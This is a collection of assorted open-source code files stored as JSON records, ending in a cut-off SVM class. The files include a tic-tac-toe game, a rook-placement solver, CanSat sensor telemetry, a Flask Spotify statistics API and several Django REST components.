properly\")\n","repo_name":"jfuruness/lib_youtube_cd_burner","sub_path":"lib_youtube_cd_burner/youtube_playlist.py","file_name":"youtube_playlist.py","file_ext":"py","file_size_in_byte":2518,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"15728770041","text":"#!/usr/bin/python3\ndef weight_average(my_list=[]):\n div = 0\n result = 0\n if my_list:\n for i in my_list:\n result += i[0] * i[1]\n div += i[1]\n return result / div\n return 0\n","repo_name":"paisap/holbertonschool-higher_level_programming","sub_path":"0x04-python-more_data_structures/100-weight_average.py","file_name":"100-weight_average.py","file_ext":"py","file_size_in_byte":219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14420924319","text":"board = [[[], [], []],\n[[], [], []],\n[[], [], []]]\np1 = \"X\"\ndef print_board():\n print(board[0])\n print(board[1])\n print(board[2])\n print()\n\ndef move(board, location, player=p1):\n row, column = location\n if row not in range(3):\n raise NameError('Row outside tic-tac-toe range')\n elif column not in range(3):\n raise NameError('Column outside tic-tac-toe range')\n elif board[row][column] != []:\n raise NameError('Space already occupied')\n else:\n board[row][column].append(player)\n return board\n\ndef location_converter(number):\n number -= 1 #converting number to non-computer number\n tuple_list = [(0, 0), (0, 1), (0, 2), (1, 0), (1, 1), (1, 2), (2, 0), (2, 1), (2, 2)]\n return tuple_list[number]\n\ndef determine_location(player):\n user_location = int(input(f\"\"\"Where do you want to put your {player}? \n1. Top left\n2. Top middle\n3. Top right\n4. Middle left\n5. Middle middle\n6. Middle right\n7. Bottom left\n8. Bottom middle\n9. Bottom right\n\"\"\"))\n if user_location < 1 or user_location > 10:\n raise NameError(\"You entered an invalid location.\")\n return location_converter(user_location)\n\ndef place_player(player=p1):\n print_board()\n location = determine_location(player)\n return move(board, location, player)\n\ndef determine_win(player=p1):\n for i in range(3):\n # Checks rows for win\n if board[i][0] == [player] and board[i][1] == [player] and board[i][2] == [player]:\n print(f'Player {player} wins')\n raise ValueError\n # Checks columns for win\n elif board[0][i] == [player] and board[1][i] == [player] and board[2][i] == [player]:\n print(f'Player {player} wins')\n raise ValueError\n # Checks left diagonal\n if board[0][0] == [player] and board[1][1] == [player] and board[2][2] == [player]:\n print(f'Player {player} wins')\n raise ValueError\n # Checks right diagonal\n elif board[0][2] == [player] and board[1][1] == [player] and board[2][0] == [player]:\n print(f'Player {player} wins')\n raise ValueError\n\ndef clear_board():\n board = [[[], [], []],\n [[], [], []],\n [[], [], []]]\n return board\n# location = (0, 0)\n# player1 = \"X\"\n# player2 = \"Y\"\np1 = input(\"Player 1, do you want to be X or Y? \")\nif p1 != \"X\" and p1 != \"Y\":\n raise NameError(\"Entered something other than X or Y\")\nif p1 == \"X\":\n p2 = \"Y\"\nelse:\n p2 = \"X\"\nwhile True:\n try:\n place_player(p1)\n determine_win(p1)\n place_player(p2)\n determine_win(p2)\n except NameError:\n print(\"You broke the game.\")\n break\n except ValueError:\n play_again = input(\"Do you want to play again? (Y/N) \")\n if play_again == \"N\":\n break\n else:\n board = clear_board()\n\n\n# Todo: Figure out why I can't clear the board after each game","repo_name":"JMcWhorter150/2019-11-function-demo","sub_path":"tic_tac_toe.py","file_name":"tic_tac_toe.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73897353107","text":"'''\nCreated on Jul 12, 2013\n@author: Yubin Bai\n'''\nimport time\nfrom multiprocessing.pool import Pool\nparallelSolve = False\nINF = 1 << 31\n\n\ndef solve(par):\n N, board = par\n maxCount = [0]\n\n def valid(i, j):\n i1, j1 = i, j\n while i1 - 1 >= 0:\n i1 -= 1\n if board[i1][j1] == 'X':\n break\n if board[i1][j1] == 'o':\n return False\n i1, j1 = i, j\n while i1 + 1 < N:\n i1 += 1\n if board[i1][j1] == 'X':\n break\n if board[i1][j1] == 'o':\n return False\n i1, j1 = i, j\n while j1 - 1 >= 0:\n j1 -= 1\n if board[i1][j1] == 'X':\n break\n if board[i1][j1] == 'o':\n return False\n i1, j1 = i, j\n while j1 + 1 < N:\n j1 += 1\n if board[i1][j1] == 'X':\n break\n if board[i1][j1] == 'o':\n return False\n return True\n\n def tryPos(step):\n if step == len(pos):\n count = 0\n for x in range(N):\n for y in range(N):\n if board[x][y] == 'o':\n count += 1\n maxCount[0] = max(maxCount[0], count)\n return\n\n i, j = pos[step]\n if valid(i, j):\n board[i][j] = 'o'\n tryPos(step + 1)\n board[i][j] = '.'\n tryPos(step + 1)\n\n pos = []\n for y in range(N):\n for x in range(N):\n if board[y][x] == '.':\n pos.append([y, x])\n tryPos(0)\n return maxCount[0]\n\n\nclass Solver:\n\n def getInput(self):\n self.numOfTests = 0\n self.input = []\n while True:\n N = int(self.fIn.readline())\n if N == 0:\n break\n self.numOfTests += 1\n board = []\n for i in range(N):\n board.append(list(self.fIn.readline().strip()))\n self.input.append((N, board))\n\n def __init__(self):\n self.fIn = open('input.txt')\n self.fOut = open('output.txt', 'w')\n self.results = []\n\n def parallel(self):\n self.getInput()\n p = Pool(4)\n millis1 = int(round(time.time() * 1000))\n self.results = p.map(solve, self.input)\n millis2 = int(round(time.time() * 1000))\n print(\"Time in milliseconds: %d \" % (millis2 - millis1))\n self.makeOutput()\n\n def sequential(self):\n self.getInput()\n millis1 = int(round(time.time() * 1000))\n for i in self.input:\n self.results.append(solve(i))\n millis2 = int(round(time.time() * 1000))\n print(\"Time in milliseconds: %d \" % (millis2 - millis1))\n self.makeOutput()\n\n def makeOutput(self):\n for test in range(self.numOfTests):\n self.fOut.write(\"%s\\n\" % self.results[test])\n self.fIn.close()\n self.fOut.close()\n\nif __name__ == '__main__':\n solver = Solver()\n if parallelSolve:\n solver.parallel()\n else:\n solver.sequential()\n","repo_name":"yubinbai/pcuva-problems","sub_path":"UVa 639 - Dont Get Rooked/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3087,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"48"} +{"seq_id":"35635633672","text":"#!/usr/bin/python3 -u\n\nfrom datetime import datetime\nfrom RFM69 import Radio, FREQ_433MHZ\n\nimport time, board, adafruit_bmp280, picamera, serial, time, string, pynmea2, csv, os, io\n\n#############################\n#### Initialize variables ###\n#############################\n\n# Change frequency on cansat AND ground station BEFORE launch\nfrequency = 434000000 \n\n# Change this to match the location's pressure (hPa) at sea level\n# https://meteo.vlaanderen/en/station/butgenbach-elsenborn\nseaLevelPressure = 1036\n\n# Altitude difference before taking the first picture (meters)\naltitudeDiffBeforePictures = 0\n\n# Time between pictures (seconds)\npicturesSecondsInterval = 2\n\n########################\n#### Initialize data ###\n########################\ndatabase = {\"time\": \"\", \"temp\":0, \"pressure\":0, \"altitude\":0, \"latitude\":0, \"longitude\":0}\nmyEncryptionKey = \"cansxINDA\"\nrocketIsLaunched = False\n\n##################\n#### Functions ###\n##################\ndef read_BMP(): # temperature, pressure, altitude\n print(\"Collecting BMP data...\")\n database['temp'] = str(round(bmp280.temperature, 1))\n database['pressure'] = str(round(bmp280.pressure, 1))\n database['altitude'] = str(round(bmp280.altitude, 1))\n\ndef read_gps():\n print(\"Collecting GPS data...\")\n found = False\n while found == False:\n try:\n newgpsdata=sio.readline()\n except UnicodeDecodeError as e:\n continue\n\n # Only lines starting with GPRMC contain GPS data\n if newgpsdata[0:6] == \"$GPRMC\":\n found = True \n newmsg = pynmea2.parse(newgpsdata)\n database['latitude'] = str(round(newmsg.latitude, 6)) + newmsg.lat_dir\n database['longitude'] = str(round(newmsg.longitude, 6)) + newmsg.lon_dir\n\n#\n# Store data in /home/cansx/cansx/data/data.csv file using comma separated values format\n# https://fr.wikipedia.org/wiki/Comma-separated_values#Exemple\n# \ndef store_data(csvwriter):\n print(\"Storing data...\")\n csvwriter.writerow(database)\n\n# Send data over radio\ndef send_data(recipient_id):\n message = ','.join(database.values())\n print (\"Sending radio message \" + message)\n radio.send(recipient_id, message)\n\n# Take a picture and save it to /home/cansx/cansx/pictures/ folder\ndef take_picture(lastPictureTime):\n difference = currentTime - lastPictureTime\n secondsSinceLastPicture = difference.total_seconds()\n currentAltitude = round(bmp280.altitude,0)\n rocketIsLaunched = (currentAltitude - initialAltitude >= altitudeDiffBeforePictures)\n #print(\"current altitude=\" + str(currentAltitude))\n #print(\"initial altitude=\" + str(initialAltitude))\n #print(\"secondsSinceLastPicture=\" + str(secondsSinceLastPicture))\n #print(\"rocketIsLaunched=\" + str(rocketIsLaunched))\n if (rocketIsLaunched and (secondsSinceLastPicture > picturesSecondsInterval)):\n print(\"Taking picture...\")\n timestamp = database[\"time\"]\n camera.capture(f'/home/cansx/cansx/pictures/{timestamp}.jpg')\n return datetime.now()\n else:\n return lastPictureTime\n\n######################## \n# Start of the program #\n########################\n\nwith Radio(FREQ_433MHZ, nodeID=1, networkID=100, isHighPower=True, verbose=True, interruptPin=24, resetPin=25, spiDevice=0, autoAcknowledge=False, use_board_pin_numbers=False, encryptionKey=myEncryptionKey) as radio, open('/home/cansx/cansx/data/data.csv', 'a', newline='', buffering=1) as csvfile, serial.Serial('/dev/ttyAMA0', 9600, timeout=0.5) as serial4gps:\n\n sio = io.TextIOWrapper(io.BufferedRWPair(serial4gps, serial4gps))\n\n # Initialize BMP sensor\n i2c = board.I2C()\n bmp280 = adafruit_bmp280.Adafruit_BMP280_I2C(i2c)\n bmp280.sea_level_pressure = seaLevelPressure\n\n # Save the initial altitude to trigger pictures only when the rocket has launched\n initialAltitude = round(bmp280.altitude,0)\n\n # Initialize camera\n camera = picamera.PiCamera()\n lastPictureTime = datetime.now()\n\n # Configure radio\n radio.calibrate_radio()\n radio.set_power_level(100)\n radio.set_frequency_in_Hz(frequency)\n recipient_id = 2\n\n # Configure csv writer\n fieldnames = ['time', 'temp', 'pressure', 'altitude', 'latitude', 'longitude']\n csvwriter = csv.DictWriter(csvfile, fieldnames=fieldnames)\n csvwriter.writeheader()\n \n try:\n while True:\n currentTime = datetime.now()\n database['time'] = currentTime.strftime(\"%d%H%M%S\") \n \n read_BMP()\n read_gps()\n store_data(csvwriter)\n send_data(recipient_id)\n lastPictureTime = take_picture(lastPictureTime)\n finally:\n serial4gps.close()\n","repo_name":"leopard3l/cansx","sub_path":"cansx.py","file_name":"cansx.py","file_ext":"py","file_size_in_byte":4672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33228056631","text":"from flask import Blueprint, abort, session, request\nfrom musicvision.spotify import SpotifyUser\nfrom musicvision.db import DBSession, User, UserAuth, Artist, Track, select\n\napi_bp = Blueprint(\"api\", __name__, url_prefix=\"/api\")\n\n\n@api_bp.before_request\ndef require_token():\n if not session.get(\"access_token\"):\n return abort(401)\n\n\n@api_bp.post(\"/toggle-player\")\ndef toggle_player():\n user = SpotifyUser(session[\"access_token\"])\n\n player = user.get_currently_playing()\n toggled = not player[\"is_playing\"]\n if player:\n success = user.toggle_playback(toggled)\n else:\n success = False\n\n # Set status if change was successful\n # Set isPlaying to the new status if successful, otherwise provide the old status\n return {\n \"status\": \"success\" if success else \"failed\",\n \"isPlaying\": toggled if success else player[\"is_playing\"],\n }\n\n\n@api_bp.get(\"/artist/\")\ndef get_one_artist(id):\n token = session[\"access_token\"]\n options = request.args\n\n with DBSession() as db:\n user = db.scalar(select(UserAuth).where(UserAuth.access_token == token))\n\n if not user:\n session.clear()\n return abort(401)\n\n spotify = SpotifyUser(user.access_token)\n\n try:\n api_artist_data = spotify.get_artist(id)\n except:\n return abort(400)\n\n # Set up an artist_info dictionary which will be returned from this endpoint\n artist_info = {\n \"id\": id,\n \"name\": api_artist_data[\"name\"],\n \"url\": api_artist_data[\"external_urls\"][\"spotify\"],\n \"image\": api_artist_data[\"images\"][0][\"url\"],\n }\n\n if \"time_frame\" not in options:\n return artist_info\n\n time_frame = options[\"time_frame\"]\n\n with DBSession() as db:\n query = select(Artist).where(\n Artist.artist_id == id,\n Artist.user_id == user.id,\n Artist.time_frame == time_frame,\n )\n artist_data = db.scalars(query).all()\n\n # If there's no DB data to add, send general artist info only\n if len(artist_data) == 0:\n return artist_info\n\n # Go through data and assign popularities and timestamps\n popularities = []\n timestamps = []\n\n for data in artist_data:\n popularities.append(data.popularity)\n formatted_time = data.added_at.strftime(\"%d %B %Y, %H:%M\")\n timestamps.append(formatted_time)\n\n artist_info.update(\n {\n \"chart_data\": {\n \"timestamps\": timestamps,\n \"popularities\": popularities,\n \"time_frame\": time_frame,\n }\n }\n )\n\n return artist_info\n\n\n@api_bp.get(\"/track/\")\ndef get_one_track(id):\n token = session[\"access_token\"]\n options = request.args\n\n with DBSession() as db:\n user = db.scalar(select(UserAuth).where(UserAuth.access_token == token))\n\n if not user:\n session.clear()\n return abort(401)\n\n spotify = SpotifyUser(user.access_token)\n\n try:\n api_track_data = spotify.get_track(id)\n except:\n return abort(400)\n\n # Set up a track_info dictionary which will be returned from this endpoint\n track_info = {\n \"id\": id,\n \"artists\": [artist[\"name\"] for artist in api_track_data[\"artists\"]],\n \"name\": api_track_data[\"name\"],\n \"url\": api_track_data[\"external_urls\"][\"spotify\"],\n \"image\": api_track_data[\"album\"][\"images\"][0][\"url\"],\n }\n\n if \"time_frame\" not in options:\n return track_info\n\n time_frame = options[\"time_frame\"]\n\n # Get track data for this time_frame\n with DBSession() as db:\n query = select(Track).where(\n Track.track_id == id,\n Track.user_id == user.id,\n Track.time_frame == time_frame,\n )\n track_data = db.scalars(query).all()\n\n # If there's no DB data to add, send general track info only\n if len(track_data) == 0:\n return track_info\n\n # Go through data and assign popularities and timestamps\n popularities = []\n timestamps = []\n\n for data in track_data:\n popularities.append(data.popularity)\n formatted_time = data.added_at.strftime(\"%d %B %Y, %H:%M\")\n timestamps.append(formatted_time)\n\n track_info.update(\n {\n \"chart_data\": {\n \"timestamps\": timestamps,\n \"popularities\": popularities,\n \"time_frame\": time_frame,\n }\n }\n )\n\n return track_info\n\n\n@api_bp.get(\"/top/tracks\")\ndef top_tracks():\n token = session[\"access_token\"]\n options = request.args\n\n if \"time_frame\" not in options:\n return abort(400)\n\n with DBSession() as db:\n user = db.scalar(select(UserAuth).where(UserAuth.access_token == token))\n\n query = select(Track).where(\n Track.user_id == user.id, Track.time_frame == options[\"time_frame\"]\n )\n\n try:\n limit = int(options[\"limit\"]) if int(options[\"limit\"]) <= 15 else 5\n except:\n limit = 5\n\n all_tracks = db.scalars(query).all()\n all_tracks = sorted(all_tracks, key=lambda i: i.popularity, reverse=True)\n\n unique_ids = []\n\n for track in all_tracks:\n if track.track_id not in unique_ids:\n unique_ids.append(track.track_id)\n\n unique_ids = unique_ids[:limit]\n\n api_tracks = SpotifyUser(token).get_tracks(unique_ids)[\"tracks\"]\n\n ready_tracks = []\n\n for track_id in unique_ids:\n # Reuse query, but only get rows for this track\n track_data = db.scalars(query.where(Track.track_id == track_id)).all()\n\n popularities = []\n timestamps = []\n\n for data in track_data:\n popularities.append(data.popularity)\n formatted_time = data.added_at.strftime(\"%d %B %Y, %H:%M\")\n timestamps.append(formatted_time)\n\n api_track = [track for track in api_tracks if track[\"id\"] == track_id][0]\n\n if len(api_track[\"artists\"]) > 1:\n track_full_name = f\"{api_track['artists'][0]['name']} and more... - {api_track['name']}\"\n else:\n track_full_name = (\n f\"{api_track['artists'][0]['name']} - {api_track['name']}\"\n )\n\n ready_tracks.append(\n {\n \"id\": track_id,\n \"name\": track_full_name,\n \"timestamps\": timestamps,\n \"popularities\": popularities,\n }\n )\n\n return ready_tracks\n\n\n@api_bp.get(\"/top/artists\")\ndef top_artists():\n token = session[\"access_token\"]\n options = request.args\n\n if \"time_frame\" not in options:\n return abort(400)\n\n with DBSession() as db:\n user = db.scalar(select(UserAuth).where(UserAuth.access_token == token))\n\n query = select(Artist).where(\n Artist.user_id == user.id, Artist.time_frame == options[\"time_frame\"]\n )\n\n try:\n limit = int(options[\"limit\"]) if int(options[\"limit\"]) <= 15 else 5\n except:\n limit = 5\n\n all_artists = db.scalars(query).all()\n all_artists = sorted(all_artists, key=lambda i: i.popularity, reverse=True)\n\n unique_ids = []\n\n for artist in all_artists:\n if artist.artist_id not in unique_ids:\n unique_ids.append(artist.artist_id)\n\n unique_ids = unique_ids[:limit]\n\n api_artists = SpotifyUser(token).get_artists(unique_ids)[\"artists\"]\n\n ready_artists = []\n\n for artist_id in unique_ids:\n # Reuse query, but only get rows for this track\n track_data = db.scalars(query.where(Artist.artist_id == artist_id)).all()\n\n popularities = []\n timestamps = []\n\n for data in track_data:\n popularities.append(data.popularity)\n formatted_time = data.added_at.strftime(\"%d %B %Y, %H:%M\")\n timestamps.append(formatted_time)\n\n api_artist = [\n artist for artist in api_artists if artist[\"id\"] == artist_id\n ][0]\n\n ready_artists.append(\n {\n \"id\": artist_id,\n \"name\": api_artist[\"name\"],\n \"timestamps\": timestamps,\n \"popularities\": popularities,\n }\n )\n\n return ready_artists\n","repo_name":"ZeroWave022/MusicVision","sub_path":"musicvision/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":8430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73057918866","text":"from enum import Enum\n\nfrom django.db import models\n\nfrom .patient import PatientModel\n\n\nclass Status(Enum):\n DRAFT = 'draft'\n CONSOLIDATED = 'consolidated'\n\n\nclass ConversationModel(models.Model):\n title = models.CharField(max_length=255, null=False, blank=False)\n description = models.TextField(null=False, blank=False)\n patient = models.ForeignKey(PatientModel, related_name=\"conversations\", on_delete=models.CASCADE)\n wav_file_s3_path = models.CharField(max_length=255, null=False, blank=False)\n transcribed_file_s3_path = models.CharField(max_length=255, null=False, blank=False)\n status = models.CharField(\n max_length=20,\n choices=[(status.name, status.value) for status in Status],\n null=False,\n default=Status.DRAFT.value,\n )\n draft = models.TextField(null=True, blank=True)\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n conversation = models.JSONField(null=True, blank=True)\n duration = models.FloatField(null=True, blank=True)\n\n class Meta:\n ordering = (\"updated_at\",)\n verbose_name_plural = \"Conversations\"\n\n def __str__(self):\n return self.title\n","repo_name":"JPG-squad/back","sub_path":"app/conversation/models/conversation.py","file_name":"conversation.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43206592939","text":"from django.urls import path\nfrom base import views\n\napp_name = 'base'\n\nurlpatterns = [\n path('', views.home, name='home'),\n path('like/', views.like_post, name='like_post'),\n path('login/', views.loginPage, name='login'),\n path('register/', views.registerPage, name=\"register\")\n]\n\n\n","repo_name":"Denys-Omelchuk/Dwitter","sub_path":"base/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29062946851","text":"\"\"\"\nREST resources.\n\nWe sometimes add rembedded resources in GET responces that cannot be updated\ndirectly by a POST request to the same URL. This is to save a round-trip.\nAnything under \"related_resources\" is not updatable.\n\"\"\"\n\nfrom django.db import IntegrityError\nfrom django.db import transaction\n\nfrom restless.dj import DjangoResource\nfrom restless.preparers import FieldsPreparer\n\nfrom .models import Article, Image, ImageLink\n\n\nclass RequestError(Exception):\n \"\"\"Allow to pass custom status in an exception, as Restless expects.\"\"\"\n def __init__(self, message, status=500):\n super(self.__class__, self).__init__(message)\n self.status = status\n\n\ndef with_integrity_error_400(func):\n \"\"\"\n A decorator that raises RequestError(status=400) on IntegrityError.\n On an create / update operation, it's likely bad data, not a server's fault.\n \"\"\"\n # NOTE: the validation error message ends up being a JSON string.\n # This is not nice, but fixing it is out of scope for now.\n def wrapped(*args, **kwargs):\n try:\n return func(*args, **kwargs)\n except IntegrityError as e:\n raise RequestError(str(e), status=400)\n return wrapped\n\n\nclass ModelBasedResource(DjangoResource):\n\n # Set MODEL to the Django model we're basing off.\n # Set UPDATABLE_FILEDS to a set of names of tields that can be updated.\n\n # NOTE: creating the preparer from a field list would require a metaclass.\n # Can live without it for now.\n\n # Dataset for GET /\n def list(self):\n return self.MODEL.objects.all()\n\n # Dataset for GET //\n def detail(self, pk):\n return self.MODEL.objects.get(id=pk)\n\n def ensure_no_extra_fields(self):\n \"\"\"Raise a bad request\"\"\"\n extra_fields = set(self.data) - self.UPDATABLE_FIELDS\n if extra_fields:\n raise RequestError(\n \"Cannot accept field(s) %s\" % \", \".join(extra_fields),\n status=400)\n\n @with_integrity_error_400\n @transaction.atomic\n def create(self, *args, **kwargs):\n self.ensure_no_extra_fields()\n thing = self.MODEL(**self.data)\n thing.full_clean() # Run model's validators.\n thing.save()\n return thing\n\n @with_integrity_error_400\n @transaction.atomic\n def update(self, *args, **kwargs):\n self.ensure_no_extra_fields()\n try:\n thing = self.MODEL.objects.filter(id=kwargs[\"pk\"]).get()\n for attr_name, value in self.data.items():\n setattr(thing, attr_name, value)\n thing.full_clean() # Run model's validators.\n thing.save()\n return thing\n except self.MODEL.DoesNotExist as e:\n raise RequestError(str(e), status=404) # Not Found\n\n @with_integrity_error_400\n @transaction.atomic\n def delete(self, *args, **kwargs):\n delete_count, _ = self.MODEL.objects.filter(id=kwargs['pk']).delete()\n if delete_count != 1:\n raise RequestError(\"Got %d objects\" % delete_count, status=404)\n\n def get_related_data(self, instance):\n \"\"\"Return a dict of related_data to the object representation.\"\"\"\n return None # None means adding nothing.\n\n def prepare(self, instance):\n \"\"\"Turns a model into a serializable representation.\"\"\"\n prepared = super(ModelBasedResource, self).prepare(instance)\n additional = self.get_related_data(instance)\n if additional:\n prepared.setdefault(\"related_resources\", {}).update(additional)\n return prepared\n\n def is_authenticated(self):\n # NOTE: for demo / debug purposes.\n # self.request is available here so any auth middleware that updates it\n # can be used, and the auth status checked here.\n return True\n\n\nclass ArticleResource(ModelBasedResource):\n MODEL = Article\n UPDATABLE_FIELDS = set(('title', 'body'))\n preparer = FieldsPreparer(fields={\n 'id': 'id',\n 'title': 'title',\n 'body': 'body',\n 'created': 'created',\n 'updated': 'updated',\n })\n\n def get_related_data(self, instance):\n return {\"image_links\": ImageLinkResource.get_from_collection(\n instance.imagelink_set.all())}\n\n\nclass ImageResource(ModelBasedResource):\n MODEL = Image\n UPDATABLE_FIELDS = set(('note', 'path'))\n preparer = FieldsPreparer(fields={ # Bare minimum of properties.\n 'id': 'id',\n 'note': 'note',\n 'path': 'path',\n 'created': 'created',\n 'updated': 'updated',\n })\n\n def get_related_data(self, instance):\n return {\"image_links\": ImageLinkResource.get_from_collection(\n instance.imagelink_set.all())}\n\n\nclass ImageLinkResource(ModelBasedResource):\n MODEL = ImageLink\n UPDATABLE_FIELDS = set(('image_id', 'article_id', 'role'))\n preparer = FieldsPreparer(fields={ # Bare minimum of properties.\n 'id': 'id',\n 'article_id': 'article_id',\n 'image_id': 'image_id',\n 'role': 'role',\n 'created': 'created',\n 'updated': 'updated',\n })\n\n @classmethod\n def get_from_collection(cls, collection):\n \"\"\"Returns a list of representations from collection of instances.\"\"\"\n resource = cls()\n return [resource.prepare(link) for link in collection]\n","repo_name":"the9000/letterpush-assignment","sub_path":"letterpush/rest_api/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":5333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"45164017032","text":"# # pylint: disable=too-few-public-methods\n\"\"\"\nShared functionality mixin to support shared data chunking behaviour.\n\"\"\"\n\nimport logging\nfrom typing import Any, Dict, List, Optional, Union\n\nfrom .chao_data import LOOKUP_TABLES\nfrom .logs import LOG_NAME\nfrom .typed_chunk import CHUNK_LOOKUP, TypedChunk\n\nMYPY = False\n\n\nclass ChunkExtractor:\n \"\"\"\n Mixin to support shared functionality between\n \"\"\"\n\n offsets: List[Dict[str, Union[str, int, None]]]\n\n if MYPY:\n # Doing this to keep MyPy happy.\n binary: bytes\n chunks: List[TypedChunk] = []\n\n @classmethod\n def _log(cls, name: Optional[str] = None) -> logging.Logger:\n if name is None:\n return logging.getLogger(LOG_NAME)\n return logging.getLogger(f\"{LOG_NAME}.{name}\")\n\n def _create_chunks(self) -> None:\n for chunk in self.offsets:\n if chunk[\"Data type\"] not in CHUNK_LOOKUP:\n self._log().warning(\n \"Couldn't read chunk %s - data type = %s.\",\n chunk[\"Attribute\"],\n chunk[\"Data type\"],\n )\n continue\n offset = chunk[\"Offset\"]\n if not isinstance(offset, int):\n raise TypeError(\n f\"{chunk['Attribute']}.Offset is the wrong type ({type(chunk['Offset'])})\"\n )\n\n data_loader = CHUNK_LOOKUP[str(chunk[\"Data type\"])]\n lookup = LOOKUP_TABLES.get(str(chunk[\"Lookup\"]), {})\n if chunk.get(\"Group\") is None:\n group_name: Optional[str] = None\n else:\n group_name = str(chunk.get(\"Group\"))\n\n self.chunks.append(\n data_loader.load(\n label=str(chunk[\"Attribute\"]),\n data=self.binary,\n start=offset,\n lookup=lookup,\n group=group_name,\n )\n )\n\n def to_dict(self) -> Dict[str, Any]:\n \"\"\"\n Export the Chao to a dictionary.\n \"\"\"\n output = {}\n for attribute in self.chunks:\n if attribute.group is None:\n output[attribute.label] = attribute.get_value()\n else:\n if attribute.group in output:\n output[attribute.group][attribute.label] = attribute.get_value()\n else:\n output[attribute.group] = {attribute.label: attribute.get_value()}\n\n return output\n","repo_name":"JosephMcGrath/Chao-Examiner","sub_path":"src/chao_examiner/chunk_extractor.py","file_name":"chunk_extractor.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22104648455","text":"import pickle\n\nimport common.network.constants\nfrom haversine import haversine\n\n\ndef distance_calculator_process_input(message_type: bytes, message_body: bytes, client_id, message_id):\n if message_type == common.network.constants.TRIPS_BATCH:\n return common.network.constants.TRIPS_BATCH + client_id.encode() + message_id.encode() + \\\n _calculate_distances(message_body)\n else:\n print(f\"ERROR - Received unknown message type ({message_type})\")\n\n\ndef _calculate_distances(raw_batch: bytes):\n joined_trips = pickle.loads(raw_batch)\n\n distances_batch = []\n for trip, start_station, end_station in joined_trips:\n start = (start_station.latitude, start_station.longitude)\n end = (end_station.latitude, end_station.longitude)\n distance = haversine(start, end)\n distances_batch.append((end_station.name, distance))\n\n return pickle.dumps(distances_batch)\n","repo_name":"PBrrtrn/PBrrtrn-sistemas-distribuidos-tp2-98446","sub_path":"backend/distance_calculator/distance_calculator_process_input.py","file_name":"distance_calculator_process_input.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33740593149","text":"from ast import List\nimport collections\nimport itertools\n\nclass Solution:\n def mostVisitedPattern(self, username: List[str], timestamp: List[int], website: List[str]) -> List[str]:\n pattern = list(zip(username, timestamp, website))\n pattern.sort()\n dic1 = collections.defaultdict(list)\n for i, j, k in pattern:\n dic1[i].append(k)\n dic2 = collections.defaultdict(set)\n for i, j in dic1.items():\n for c in itertools.combinations(j,3):\n dic2[c].add(i)\n return sorted(dic2.items(), key = lambda x: (-len(x[1]), x[0]))[0][0]\n","repo_name":"LofOWL/leetcode","sub_path":"Array/1152_analyze_user_website_visit_pattern.py","file_name":"1152_analyze_user_website_visit_pattern.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35012183055","text":"# Standard SVM code\n\n# THIS IS NOT PERFORMANT, DO NOT USE\n\nimport numpy as np\nimport cvxopt.solvers\n\nMIN_SUPPORT_VECTOR_MULTIPLIER = 1e-5\n\nclass SVM:\n\n def __init__(self, kernel, c):\n self._kernel = kernel\n self._c = c\n\n def fit(self, X, y, **kwargs):\n lagrange_mult = self._compute_multipliers(X, y)\n return self._construct_predictor(X, y, lagrange_mult)\n\n def _compute_multipliers(self, X, y):\n n_samples = X.shape[0]\n\n K = self._gram_matrix(X)\n \n # solve\n # min 1/2 x^T P x + q^T x\n # s.t.\n # Gx \\coneleq h\n # Ax = b \n\n P = cvxopt.matrix(np.outer(y, y) * K)\n q = cvxopt.matrix(-1 * np.ones(n_samples))\n\n # -a_i \\leq 0\n G_std = cvxopt.matrix(np.diag(np.ones(n_samples) * -1))\n h_std = cvxopt.matrix(np.ones(n_samples))\n\n # a_i \\leq 0\n G_slack = cvxopt.matrix(np.diag(np.ones(n_samples)))\n h_slack = cvxopt.matrix(np.ones(n_samples) * self._c)\n\n G = cvxopt.matrix(np.vstack((G_std, G_slack)))\n h = cvxopt.matrix(np.vstack((h_std, h_slack)))\n\n A = cvxopt.matrix(y, (1, n_samples))\n b = cvxopt.matrix(0.0)\n\n print('solving...')\n print('P', P.size, 'q', q.size, 'G', G.size, 'h', h.size, 'A', A.size, 'b', b.size)\n solution = cvxopt.solvers.qp(P, q, G, h) #, A, b)\n\n return np.ravel(solution['x'])\n\n def _gram_matrix(self, X):\n print('constructing gram matrix for X:', X.shape)\n n_samples, _ = X.shape\n K = np.zeros((n_samples, n_samples))\n\n for i, x_i in enumerate(X):\n for j, x_j in enumerate(X):\n K[i, j] = self._kernel(x_i, x_j)\n \n print('K constructed:', K.shape)\n return K\n\n def _construct_predictor(self, X, y, lagrange_multipliers):\n support_vector_indices = lagrange_multipliers > MIN_SUPPORT_VECTOR_MULTIPLIER\n\n self._bias = 0.0\n self._weights = lagrange_multipliers[support_vector_indices]\n self._vectors = X[support_vector_indices]\n self._labels = y[support_vector_indices]\n\n self._bias = np.mean([y_k - self._predict_sample(x_k) for (y_k, x_k) in zip(self._labels, self._vectors)])\n\n return\n\n def 